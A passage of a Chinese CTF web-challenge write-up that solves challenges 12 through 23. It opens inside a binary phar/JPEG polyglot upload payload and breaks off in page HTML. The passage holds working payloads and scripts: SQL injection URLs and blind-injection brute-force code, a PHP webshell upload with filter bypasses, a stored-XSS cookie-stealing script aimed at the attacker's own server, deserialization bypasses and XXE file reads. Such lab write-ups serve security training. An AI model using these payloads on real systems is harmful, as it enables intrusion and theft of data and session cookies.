\x04-\x04;\x04H\x04U\x04c\x04q\x04~\x04\x8c\x04\x9a\x04\xa8\x04\xb6\x04\xc4\x04\xd3\x04\xe1\x04\xf0\x04\xfe\x05\r\x05\x1c\x05+\x05:\x05I\x05X\x05g\x05w\x05\x86\x05\x96\x05\xa6\x05\xb5\x05\xc5\x05\xd5\x05\xe5\x05\xf6\x06\x06\x06\x16\x06'\x067\x06H\x06Y\x06j\x06{\x06\x8c\x06\x9d\x06\xaf\x06\xc0\x06\xd1\x06\xe3\x06\xf5\x07\x07\x07\x19\x07+\x07=\x07O\x07a\x07t\x07\x86\x07\x99\x07\xac\x07\xbf\x07\xd2\x07\xe5\x07\xf8\x08\x0b\x08\x1f\x082\x08F\x08Z\x08n\x08\x82\x08\x96\x08\xaa\x08\xbe\x08\xd2\x08\xe7\x08\xfb\x09\x10\x09%\x09:\x09O\x09d\x09y\x09\x8f\x09\xa4\x09\xba\x09\xcf\x09\xe5\x09\xfb\n\x11\n'\n=\nT\nj\n\x81\n\x98\n\xae\n\xc5\n\xdc\n\xf3\x0b\x0b\x0b\"\x0b9\x0bQ\x0bi\x0b\x80\x0b\x98\x0b\xb0\x0b\xc8\x0b\xe1\x0b\xf9\x0c\x12\x0c*\x0cC\x0c\\\x0cu\x0c\x8e\x0c\xa7\x0c\xc0\x0c\xd9\x0c\xf3\r\r\r&\r@\rZ\rt\r\x8e\r\xa9\r\xc3\r\xde\r\xf8\x0e\x13\x0e.\x0eI\x0ed\x0e\x7f\x0e\x9b\x0e\xb6\x0e\xd2\x0e\xee\x0f\x09\x0f%\x0fA\x0f^\x0fz\x0f\x96\x0f\xb3\x0f\xcf\x0f\xec\x10\x09\x10&\x10C\x10a\x10~\x10\x9b\x10\xb9\x10\xd7\x10\xf5\x11\x13\x111\x11O\x11m\x11\x8c\x11\xaa\x11\xc9\x11\xe8\x12\x07\x12&\x12E\x12d\x12\x84\x12\xa3\x12\xc3\x12\xe3\x13\x03\x13\x23\x13C\x13c\x13\x83\x13\xa4\x13\xc5\x13\xe5\x14\x06\x14'\x14I\x14j\x14\x8b\x14\xad\x14\xce\x14\xf0\x15\x12\x154\x15V\x15x\x15\x9b\x15\xbd\x15\xe0\x16\x03\x16&\x16I\x16l\x16\x8f\x16\xb2\x16\xd6\x16\xfa\x17\x1d\x17A\x17e\x17\x89\x17\xae\x17\xd2\x17\xf7\x18\x1b\x18@\x18e\x18\x8a\x18\xaf\x18\xd5\x18\xfa\x19 \x19E\x19k\x19\x91\x19\xb7\x19\xdd\x1a\x04\x1a*\x1aQ\x1aw\x1a\x9e\x1a\xc5\x1a\xec\x1b\x14\x1b;\x1bc\x1b\x8a\x1b\xb2\x1b\xda\x1c\x02\x1c*\x1cR\x1c{\x1c\xa3\x1c\xcc\x1c\xf5\x1d\x1e\x1dG\x1dp\x1d\x99\x1d\xc3\x1d\xec\x1e\x16\x1e@\x1ej\x1e\x94\x1e\xbe\x1e\xe9\x1f\x13\x1f>\x1fi\x1f\x94\x1f\xbf\x1f\xea \x15 A l \x98 \xc4 \xf0!\x1c!H!u!\xa1!\xce!\xfb\"'\"U\"\x82\"\xaf\"\xdd\x23\n\x238\x23f\x23\x94\x23\xc2\x23\xf0\x24\x1f\x24M\x24|\x24\xab\x24\xda%\x09%8%h%\x97%\xc7%\xf7&'&W&\x87&\xb7&\xe8'\x18'I'z'\xab'\xdc(\r(?(q(\xa2(\xd4)\x06)8)k)\x9d)\xd0*\x02*5*h*\x9b*\xcf+\x02+6+i+\x9d+\xd1,\x05,9,n,\xa2,\xd7-\x0c-A-v-\xab-\xe1.\x16.L.\x82.\xb7.\xee/\x24/Z/\x91/\xc7/\xfe050l0\xa40\xdb1\x121J1\x821\xba1\xf22*2c2\x9b2\xd43\r3F3\x7f3\xb83\xf14+4e4\x9e4\xd85\x135M5\x875\xc25\xfd676r6\xae6\xe97\x247`7\x9c7\xd78\x148P8\x8c8\xc89\x059B9\x7f9\xbc9\xf9:6:t:\xb2:\xef;-;k;\xaa;\xe8<'<e<\xa4<\xe3=\"=a=\xa1=\xe0> >`>\xa0>\xe0?!?a?\xa2?\xe2@\x23@d@\xa6@\xe7A)AjA\xacA\xeeB0BrB\xb5B\xf7C:C}C\xc0D\x03DGD\x8aD\xceE\x12EUE\x9aE\xdeF\"FgF\xabF\xf0G5G{G\xc0H\x05HKH\x91H\xd7I\x1dIcI\xa9I\xf0J7J}J\xc4K\x0cKSK\x9aK\xe2L*LrL\xbaM\x02MJM\x93M\xdcN%NnN\xb7O\x00OIO\x93O\xddP'PqP\xbbQ\x06QPQ\x9bQ\xe6R1R|R\xc7S\x13S_S\xaaS\xf6TBT\x8fT\xdbU(UuU\xc2V\x0fV\\V\xa9V\xf7WDW\x92W\xe0X/X}X\xcbY\x1aYiY\xb8Z\x07ZVZ\xa6Z\xf5[E[\x95[\xe5\\5\\\x86\\\xd6]']x]\xc9^\x1a^l^\xbd_\x0f_a_\xb3`\x05`W`\xaa`\xfcaOa\xa2a\xf5bIb\x9cb\xf0cCc\x97c\xebd@d\x94d\xe9e=e\x92e\xe7f=f\x92f\xe8g=g\x93g\xe9h?h\x96h\xeciCi\x9ai\xf1jHj\x9fj\xf7kOk\xa7k\xfflWl\xafm\x08m`m\xb9n\x12nkn\xc4o\x1eoxo\xd1p+p\x86p\xe0q:q\x95q\xf0rKr\xa6s\x01s]s\xb8t\x14tpt\xccu(u\x85u\xe1v>v\x9bv\xf8wVw\xb3x\x11xnx\xccy*y\x89y\xe7zFz\xa5{\x04{c{\xc2|!|\x81|\xe1}A}\xa1~\x01~b~\xc2\x7f\x23\x7f\x84\x7f\xe5\x80G\x80\xa8\x81\n\x81k\x81\xcd\x820\x82\x92\x82\xf4\x83W\x83\xba\x84\x1d\x84\x80\x84\xe3\x85G\x85\xab\x86\x0e\x86r\x86\xd7\x87;\x87\x9f\x88\x04\x88i\x88\xce\x893\x89\x99\x89\xfe\x8ad\x8a\xca\x8b0\x8b\x96\x8b\xfc\x8cc\x8c\xca\x8d1\x8d\x98\x8d\xff\x8ef\x8e\xce\x8f6\x8f\x9e\x90\x06\x90n\x90\xd6\x91?\x91\xa8\x92\x11\x92z\x92\xe3\x93M\x93\xb6\x94 \x94\x8a\x94\xf4\x95_\x95\xc9\x964\x96\x9f\x97\n\x97u\x97\xe0\x98L\x98\xb8\x99\x24\x99\x90\x99\xfc\x9ah\x9a\xd5\x9bB\x9b\xaf\x9c\x1c\x9c\x89\x9c\xf7\x9dd\x9d\xd2\x9e@\x9e\xae\x9f\x1d\x9f\x8b\x9f\xfa\xa0i\xa0\xd8\xa1G\xa1\xb6\xa2&\xa2\x96\xa3\x06\xa3v\xa3\xe6\xa4V\xa4\xc7\xa58\xa5\xa9\xa6\x1a\xa6\x8b\xa6\xfd\xa7n\xa7\xe0\xa8R\xa8\xc4\xa97\xa9\xa9\xaa\x1c\xaa\x8f\xab\x02\xabu\xab\xe9\xac\\\xac\xd0\xadD\xad\xb8\xae-\xae\xa1\xaf\x16\xaf\x8b\xb0\x00\xb0u\xb0\xea\xb1`\xb1\xd6\xb2K\xb2\xc2\xb38\xb3\xae\xb4%\xb4\x9c\xb5\x13\xb5\x8a\xb6\x01\xb6y\xb6\xf0\xb7h\xb7\xe0\xb8Y\xb8\xd1\xb9J\xb9\xc2\xba;\xba\xb5\xbb.\xbb\xa7\xbc!\xbc\x9b\xbd\x15\xbd\x8f\xbe\n\xbe\x84\xbe\xff\xbfz\xbf\xf5\xc0p\xc0\xec\xc1g\xc1\xe3\xc2_\xc2\xdb\xc3X\xc3\xd4\xc4Q\xc4\xce\xc5K\xc5\xc8\xc6F\xc6\xc3\xc7A\xc7\xbf\xc8=\xc8\xbc\xc9:\xc9\xb9\xca8\xca\xb7\xcb6\xcb\xb6\xcc5\xcc\xb5\xcd5\xcd\xb5\xce6\xce\xb6\xcf7\xcf\xb8\xd09\xd0\xba\xd1<\xd1\xbe\xd2?\xd2\xc1\xd3D\xd3\xc6\xd4I\xd4\xcb\xd5N\xd5\xd1\xd6U\xd6\xd8\xd7\\\xd7\xe0\xd8d\xd8\xe8\xd9l\xd9\xf1\xdav\xda\xfb\xdb\x80\xdc\x05\xdc\x8a\xdd\x10\xdd\x96\xde\x1c\xde\xa2\xdf)\xdf\xaf\xe06\xe0\xbd\xe1D\xe1\xcc\xe2S\xe2\xdb\xe3c\xe3\xeb\xe4s\xe4\xfc\xe5\x84\xe6\r\xe6\x96\xe7\x1f\xe7\xa9\xe82\xe8\xbc\xe9F\xe9\xd0\xea[\xea\xe5\xebp\xeb\xfb\xec\x86\xed\x11\xed\x9c\xee(\xee\xb4\xef@\xef\xcc\xf0X\xf0\xe5\xf1r\xf1\xff\xf2\x8c\xf3\x19\xf3\xa7\xf44\xf4\xc2\xf5P\xf5\xde\xf6m\xf6\xfb\xf7\x8a\xf8\x19\xf8\xa8\xf98\xf9\xc7\xfaW\xfa\xe7\xfbw\xfc\x07\xfc\x98\xfd)\xfd\xba\xfeK\xfe\xdc\xffm\xff\xffpara\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02ff\x00\x00\xf2\xa7\x00\x00\rY\x00\x00\x13\xd0\x00\x00\n[vcgt\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00ndin\x00\x00\x00\x00\x00\x00\x006\x00\x00\xae\x00\x00\x00R\x00\x00\x00C\xc0\x00\x00\xb0\xc0\x00\x00&@\x00\x00\r\x80\x00\x00P\x00\x00\x00T@\x00\x0233\x00\x0233\x00\x0233\x00\x00\x00\x00\x00\x00\x00\x00sf32\x00\x00\x00\x00\x00\x01\x0cr\x00\x00\x05\xf8\xff\xff\xf3\x1d\x00\x00\x07\xba\x00\x00\xfdr\xff\xff\xfb\x9d\xff\xff\xfd\xa4\x00\x00\x03\xd9\x00\x00\xc0qmmod\x00\x00\x00\x00\x00\x00\x06\x10\x00\x00\xa0@\x00\x00\x00\x00\xd5\x18d\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xc0\x00\x11\x08\x00\x0c\x00\x0c\x03\x01\"\x00\x02\x11\x01\x03\x11\x01\xff\xc4\x00\x1f\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\xff\xc4\x00\xb5\x10\x00\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04\x00\x00\x01}\x01\x02\x03\x00\x04\x11\x05\x12!1A\x06\x13Qa\x07\"q\x142\x81\x91\xa1\x08\x23B\xb1\xc1\x15R\xd1\xf0\x243br\x82\x09\n\x16\x17\x18\x19\x1a%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz\x83\x84\x85\x86\x87\x88\x89\x8a\x92\x93\x94\x95\x96\x97\x98\x99\x9a\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xff\xc4\x00\x1f\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\xff\xc4\x00\xb5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07\x05\x04\x04\x00\x01\x02w\x00\x01\x02\x03\x11\x04\x05!1\x06\x12AQ\x07aq\x13\"2\x81\x08\x14B\x91\xa1\xb1\xc1\x09\x233R\xf0\x15br\xd1\n\x16\x244\xe1%\xf1\x17\x18\x19\x1a&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x92\x93\x94\x95\x96\x97\x98\x99\x9a\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xff\xdb\x00C\x00\x02\x02\x02\x02\x02\x02\x03\x02\x02\x03\x05\x03\x03\x03\x05\x06\x05\x05\x05\x05\x06\x08\x06\x06\x06\x06\x06\x08\n\x08\x08\x08\x08\x08\x08\n\n\n\n\n\n\n\n\x0c\x0c\x0c\x0c\x0c\x0c\x0e\x0e\x0e\x0e\x0e\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\xff\xdb\x00C\x01\x02\x02\x02\x04\x04\x04\x07\x04\x04\x07\x10\x0b\x09\x0b\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\xff\xdd\x00\x04\x00\x01\xff\xda\x00\x0c\x03\x01\x00\x02\x11\x03\x11\x00?\x00\xfc\x93\xa2\x8a(4?\xff\xd9<?php __HALT_COMPILER(); ?>\r\n\xbd\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x87\x00\x00\x00O:7:\"Picture\":3:{s:7:\"sandbox\";s:2:\"||\";s:8:\"fileName\";s:46:\"/readflag > /var/www/html/picture/here_is_flag\";s:9:\"extension\";s:2:\"||\";}\x08\x00\x00\x00test.txt\x04\x00\x00\x00\x06\x88\xc9\\\x04\x00\x00\x00\x0c~\x7f\xd8\xb6\x01\x00\x00\x00\x00\x00\x00test\xa8t\x9ci\xfc\x91\xc1yY\x94?\xa6\xe6\x91\xce\x1a\x83mhE\x02\x00\x00\x00GBMB", 'image/jpeg'))] headers = {"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Referer":"http://47.106.182.92:8233/index.php","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"} response = session.post(ip + "upload.php", files=paramsMultipart, headers=headers)content = json.loads(response.content) orgin_url = content['success']['orgin']paramsMultipart = [['picture', ['exp.svg', "<?xml version=\"1.0\" standalone=\"no\"?>\n<!DOCTYPE svg SYSTEM \"phar://./%s\">\n<svg version=\"1.0\" xmlns=\"http://www.w3.org/2000/svg\"\n width=\"1.600000pt\" height=\"3.200000pt\" viewBox=\"0 0 1.600000 3.200000\"\n preserveAspectRatio=\"xMidYMid meet\">\n<metadata>\nCreated by potrace 1.13, written by Peter Selinger 2001-2015\n</metadata>\n<g transform=\"translate(0.000000,3.200000) scale(0.080000,-0.080000)\"\nfill=\"\x23000000\" stroke=\"none\">\n</g>\n</svg>", 'application/octet-stream']]]paramsMultipart[0][1][1] = paramsMultipart[0][1][1] % orgin_url #print(paramsMultipart[0][1][1]) response = session.post(ip + "upload.php", files=paramsMultipart, headers=headers)print requests.get(ip + "/picture/here_is_flag").content12、Babysql
題目描述:成信大的學生真是不得了,這么多黑客,不過這次我做了防御的!
這題和前面第五題差不多,就是過濾了or和by雙寫就能繞過
13、神秘的三葉草
題目描述:柳暗花明
打開網址F12查看,發現氛圍兩個字有一個a標簽,鏈接到Secret.php文件
直接訪問
抓包,在里面加上referer:https://www.Sycsecret.com
轉發之后得到
在原來添加了referer字段之后,再把UA頭改為Syclover
轉發得到
在前面兩步的基礎上加上x-forwarded-for:127.0.0.1,轉發得到flag
14、Eval evil code
題目描述:Lamber是個老實人,他會執行你給他的代碼。
題解:參考官方題解
打開題目網址,有兩個輸入框,上面那個是你要它執行的代碼,下面那個驗證碼,然后驗證碼經過md5加密后的前四位已經給你了
先給出我跑驗證碼的腳本,這里四位都是數字的肯定能跑出來,其他的基本跑不出,不過下面有官方的腳本
import hashlib,sys def getMD5(Cap):for x in range(100000,1000000):captcha=xMD5=hashlib.md5(str(captcha)).hexdigest()if MD5[:4] == Cap:return captcha print getMD5('四位數字')這里我先是輸入了phpinfo();,記住這個后面的分號好一定要帶上,發現能成功執行
然后執行系統命令,發現提示,不能執行帶參的函數,這里我以為只要括號里有東西就不行,就不會了
?
下面給出官方思路
1、爆破md5的部分見下方的法二腳本處。 結合scandir(),getcwd(),readfile()等函數遍歷當前目錄的所有文件名,再結合array_reverse和next讀取倒數第二個文件,也就是flag文件。 payload=readfile(next(array_reverse(scandir(getcwd())))); //讀取倒數第二個文件,記得帶上分號 2、 想辦法獲得我們需要的惡意參數 這里利用自定義變量獲得。 腳本如下? # -*- coding: UTF-8 -*- import requests import hashlib import re import random import sys url='http://148.70.59.198:34386/index.php?a=system("cat theflag.php");' headers={ 'Content-Type': 'application/x-www-form-urlencoded','Cookie':'PHPSESSID=1a0ab8abc64974479646b48938cda2e4' } def getCap():res=requests.get(url=url,headers=headers).textr=re.search("substr\(md5\(\$captcha\),0,4\) =='(.*?)'",res)c=r.group(1)md5_value=''x=''while c!=md5_value:x=str(random.random())md5_value=hashlib.md5(x.encode("utf-8")).hexdigest()[:4]return x def test(poc,cap):data='payload={}&code={}'.format(poc,cap)res=requests.post(url=url,headers=headers,data=data).textreturn res a=test('eval(end(pos(get_defined_vars())));',getCap()) print(a[:500])?
3、
依舊是想辦法獲得惡意參數。 在http header頭中注入惡意參數,再利用getallheaders函數獲得參數 。 ayrain: system(' cat theflag.php '); payload=eval(end(getallheaders()));15、Jiang‘s Secret
題目描述:我在那放了一個秘密!
這題可以F12查看源碼,這里介紹一個騷方法,直接ctrl+A全選,發現多了個Oh!You found me,點擊之后跳到Archive_room.php界面
點擊Secret之后直接跳到end.php,提示:沒看清么?回去再仔細看看吧。
返回去,F12查看源碼,發現Secret的a標簽鏈接的是action.php,直接訪問然后抓包,放到repeater模塊發送一下得到一個文件名
訪問一下,得到源碼
<html><title>secret</title><meta charset="UTF-8"> <?phphighlight_file(__FILE__);error_reporting(0);$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file); //flag放在了flag.php里 ?> </html>這里過濾了一些東西,但是可以直接使用php://fiter偽協議讀取文件,payload
file=php://filter/convert.base64-encode/resource=flag.php16、Hardsql
題目描述:信安之路,任重道遠…
hint:sql報錯注入
sql報錯注入,這里過濾了空格,使用括號繞過;過濾了and,使用or代替,后面語句where條件只用一個;過濾了等于號,使用like繞過
http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(database())),%27~%27),3))%23&password=123 #爆數據庫名 geek http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),%27~%27),3))%23&password=123 #爆表名 H4rDsq1 http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),%27~%27),3))%23&password=123 #爆字段 id,username,password http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(group_concat(password))from(H4rDsq1)),%27~%27),3))%23&password=123 #得到flag更:
做buuoj的時候這里會出現flag不全的問題,這是因為updatexml爆出信息有長度限制32位,這時候可以用substr來截斷,但是這里被過濾了,這里可以使用right函數,函數作用就是從右往左截取length個字符,后面那個34可以自己調控,沒出來就改這個數字,多試試
admin'or(updatexml(1,right(concat(%27~%27,(select(group_concat(password))from(H4rDsq1)),%27~%27),34),3))%23?
17、你有特洛伊么
題目描述:dGhpcyBpcyBub3QgZWFzeQ==
打開題目網址,發現上傳按鈕
直接上傳一個php一句話,會提示"not image!"
上面檢測的是content-type類型,將其改為image/jpeg可繞過
這個上面檢測的是php后綴名,將其改為phtml,成功繞過
上面這個過濾的很明顯,不能出現"<?",那就換個一句話<script language="php">eval($_GET['x']);</script>實行繞過
最后這個過濾是檢查文件頭,在內容前面加上GIF89,就可以上傳成功
但是這里只告訴了文件名,沒有告訴路徑,盲猜在文件夾upload下,最后訪問頁面測試一下
http://118.25.14.40:8107/upload/shell.phtml?x=phpinfo();測試成功,可以菜刀連接,也可以直接執行系統命令,得到flag
http://118.25.14.40:8107/upload/shell.phtml?x=system(%22cat%20/flag/flag.txt%22);這里分享一下騷操作,就是直接訪問upload文件夾,去跑別人的馬,就算沒跑出來,也可以獲得一些做題方法
18、Leixiao's blog
題目描述:你會盜號嗎??
hint:儲存型XSS && 認真測試各個功能點(懷疑機器人掛了的Q我)
題解:官方說xss點在忘記密碼那里
先隨便注冊一個賬號,mmmmm/mmmmm,然后密保問題是test,當我們填寫完會發現它被寫入網頁的位置,就可以閉合標簽
?
這里提供一下官方的思路,先在自己的公網服務器上新建一個x.js的文件,里面寫入
window.location='http://你的公網服務器/cookie='+document.cookie;然后注冊的時候把密保問題改為下面這個,記住不是答案,是問題
"></script/src=//你的公網服務器ip地址/x.js> 官方說這里好像填10進制的ip機器人不解析,得換成16進制然后觸發xss的點是在登陸之后的report模塊里,將忘記密碼的網址填進去
查看日志即可獲取cookie
然后刷新網頁,抓包,更改cookie,即可獲取flag
在這里非常感謝淚笑師傅的指導!!!
19、反序列化1.0
題目描述:socre10000拿到flag
打開題目,F12得到關鍵代碼
<!-- class Student {public $score = 0;public function __destruct(){echo "__destruct working";if($this->score==10000) {$flag = "******************";echo $flag;}} } $exp = $_GET['exp']; echo "<br>"; unserialize($exp);?>直接構造payload:
<?phpclass Student{public $score = 0;public function __destruct(){echo "__destruct working";if($this->score==10000) {$flag = "******************";echo $flag;}}}$o=new Student;$o->score=10000;echo serialize($o); ?>//打印O:7:"Student":1:{s:5:"score";i:10000;}?exp=O:7:"Student":1:{s:5:"score";i:10000;}拿到flag
20、又來一只貓
題目描述:我家貓名字叫php
打開網址,發現提示信息,有備份網站的習慣,直接訪問http://118.25.14.40:8109/www.zip得到源碼
發現幾個關鍵的文件:index.php、class.php、flag.php
flag.php里面的flag是假的,查看index.php和class.php,發現關鍵代碼
//index.php <?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select); ?>//class.php <?php include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}} } ?>這里介紹一下__wakeup,它是一個魔術方法,會在反序列化時調用,但是可以被繞過
O:7:"Student":1:{s:5:"score";i:10000;} //正規的 O:7:"Student":2:{s:5:"score";i:10000;} //修改之后的 Sudent后面那個數字代表類中的成員個數,修改成一個比原來大的數字,就可以繞過最后構造的payload,拿到flag
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}這里加的%00Name%00代表的是成員是private protected加的是%00*name%0021、你有初戀嗎
題目描述:你變心了嗎
打開題目網址,F12得到源碼
關鍵代碼
<!-- $adore='***************'; $now = $_POST['lover']; setcookie("Heart", md5($adore.'syclover')); if(isset($now)&&$now!=syclover) {if($_COOKIE['Heart'] === md5($adore. urldecode($now))){die ($flag);}else {die('I do not love you! You are not in my heart!');}} -->這里使用二次編碼就能繞過,但是官方題解是說想考hash長度擴展攻擊,我最后構造的payload
post:lover=%25%37%33%25%37%39%25%36%33%25%36%43%25%36%46%25%37%36%25%36%35%25%37%32?
22、Finalsql
題目描述:sql你太美:
打開網址,提示信息是sql盲注,這里的sql注入存在于上面的鏈接中
id=1時:頁面內容是NO! Not this! Click others~~~ id=2時:頁面內容是yingyingying~ Not this as well~~ id=3時:頁面內容是很多的Ohhh You find the flag read on! id=4時:頁面內容是OK OK I will tell you,just in the next! really~~~~ id=5時:頁面內容是 You are too naive!How can I give it to you? So,why not take a look at the sixth one?But where is it? id=6時:Clever! But not this table. id=其他內容時:顯示ERROR!!!訪問之后,這里利用的是id后面的參數可以做減法來注入,php作比較時返回的值要么是1,要么是0,所以可以通過判斷頁面是否發生改變來判斷語句的真假,拿id=2這個頁面來演示
這里先介紹一下盲注常用的幾個函數 strcmp(a,b) #a和b相等時會返回0,a>b會返回-1,a<b返回1 ascii(),ord() #函數返回字符串的首個字符的 ASCII 值 截斷字符串使用的幾個函數 substr(str,start,len) #從字符串的start下標開始,截取len個字符 left(str,len) #從左往右截取len個字符 right(str,len) #從右往左截取len個字符url:http://118.25.14.40:8104/search.php?id=2-(strcmp(database(),%27geek%27))
頁面無變化說明數據庫名就是geek,后面腳本中i的范圍也可以通過這樣來確定,當然也可以設置很長,能讀出來都行
接下來就是跑表,腳本代碼,the table_name is :F1naI1y,Flaaaaag
import sys import requeststable_name='' url="http://118.25.14.40:8104/search.php?id=2" payload1="-(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())," payload2=",1))>" payload3=")"for i in range(1,20):max=122 #zmin=43 #+ 44 ,while abs(max-min)>1: mid=int((max+min)/2)payload=url+payload1+str(i)+payload2+str(mid)+payload3#print payloadresponse=requests.get(payload)if response.content.find("others")!=-1:min=midelse:max=midtable_name=table_name+chr(max)print("the table_name is :%s" % table_name)字段名,根據前面的題目可以猜測出是id,username,password,下面只給出password的驗證代碼,其余的可以自己改
import requests url="http://118.25.14.40:8104/search.php?id=2" payload1="-(ascii(substr((select(group_concat(column_name))" payload2="from(information_schema.columns)where(table_name)=%27F1naI1y%27)," payload3=",1))=" payload4=")" a=[112,97,115,115,119,111,114,100] #password j=13 #password的起始位置 for i in range(len(a)):payload=url+payload1+payload2+str(j)+payload3+str(a[i])+payload4r=requests.get(payload)j+=1if "others" not in r.text:print payloadprint r.textelse:print "success"下面給出跑字段的腳本
import sys import requestscolumn_name='' url="http://118.25.14.40:8104/search.php?id=2" payload1="-(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y')," payload2=",1))>" payload3=")"for i in range(1,30):max=122 #zmin=43 #+ 44 ,while abs(max-min)>1: mid=int((max+min)/2)payload=url+payload1+str(i)+payload2+str(mid)+payload3#print payloadresponse=requests.get(payload)if response.content.find("others")!=-1:min=midelse:max=midcolumn_name=column_name+chr(max)print("the column_name is :%s" % column_name)最后跑username和password字段的內容,最終在password中得到flag
import sys import requestsusername='' url="http://118.25.14.40:8104/search.php?id=2" payload1="-(ascii(substr((select(group_concat(username))from(F1naI1y))," payload2=",1))>" payload3=")"for i in range(1,51):max=122 #zmin=43 #+ 44 ,while abs(max-min)>1: mid=int((max+min)/2)payload=url+payload1+str(i)+payload2+str(mid)+payload3#print payloadresponse=requests.get(payload)if response.content.find("others")!=-1:min=midelse:max=midusername=username+chr(max)print("the username is :%s" % username)password='' url="http://118.25.14.40:8104/search.php?id=2" payload1="-(ascii(substr((select(group_concat(password))from(F1naI1y))," payload2=",1))>" payload3=")"for i in range(1,195):max=125 #}min=43 #+ 44 ,while abs(max-min)>1: mid=int((max+min)/2)payload=url+payload1+str(i)+payload2+str(mid)+payload3#print payloadresponse=requests.get(payload)if response.content.find("others")!=-1:min=midelse:max=midpassword=password+chr(max)print("the password is :%s" % password)23、你讀懂瀟文清的網站了嗎?
題目描述:xxe
參考官方題解:
1、輸入框存在xxe,讀源碼,然后依次找到config.php upload.php等。找到文件名這里個人想法御劍掃描一下也行,因為不是能特別明確的能看到upload.php
<?xml version = "1.0"?> <!DOCTYPE note [<!ENTITY hacker SYSTEM "php://filter/read=convert.base64-encode/resource=./index.php"> ]> <name>&hacker;</name>?
上面是官方的wp,具體的步驟:
(1)現在輸入框隨便輸入什么東西,抓包,發送,沒什么變化
(2)xxe注入點就在123那里,在前面加個Content-Type:text/xml,然后再加上payload,即可讀取index.php文件內容
//index.php <?php error_reporting(0); include("./config.php"); date_default_timezone_set("PRC");if(!empty($_POST['submit'])){ $data= $_POST['data']; if (preg_match("/flag|decode|file|zlib|input|data|http|ftp|#/i",$data)){echo "no!!!you cant read flag right here!";exit(); }$xml = simplexml_load_string($data,'SimpleXMLElement',LIBXML_NOENT);print($xml); }?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Login</title><link href="./style_log.css" rel="stylesheet" type="text/css"><link rel="stylesheet" type="text/css" href="./style.css"><link rel="stylesheet" type="text/css" href="./userpanel.css"></head><body class="login" mycollectionplug="bind"> <div class="login_m"><div class="login_logo"><img src="http://120.79.186.183/jpg/677406.jpg" width="216" height="130"></div><div class="login_boder"><div class="login_padding" id="login_model"><div style="text-align:center; vertical-align:middel;"><h3>告訴我你想說的</h3></div> <form action="./index.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}"> <div style="text-align:center; vertical-align:middel;"> <textarea type="text" id='divcss5' 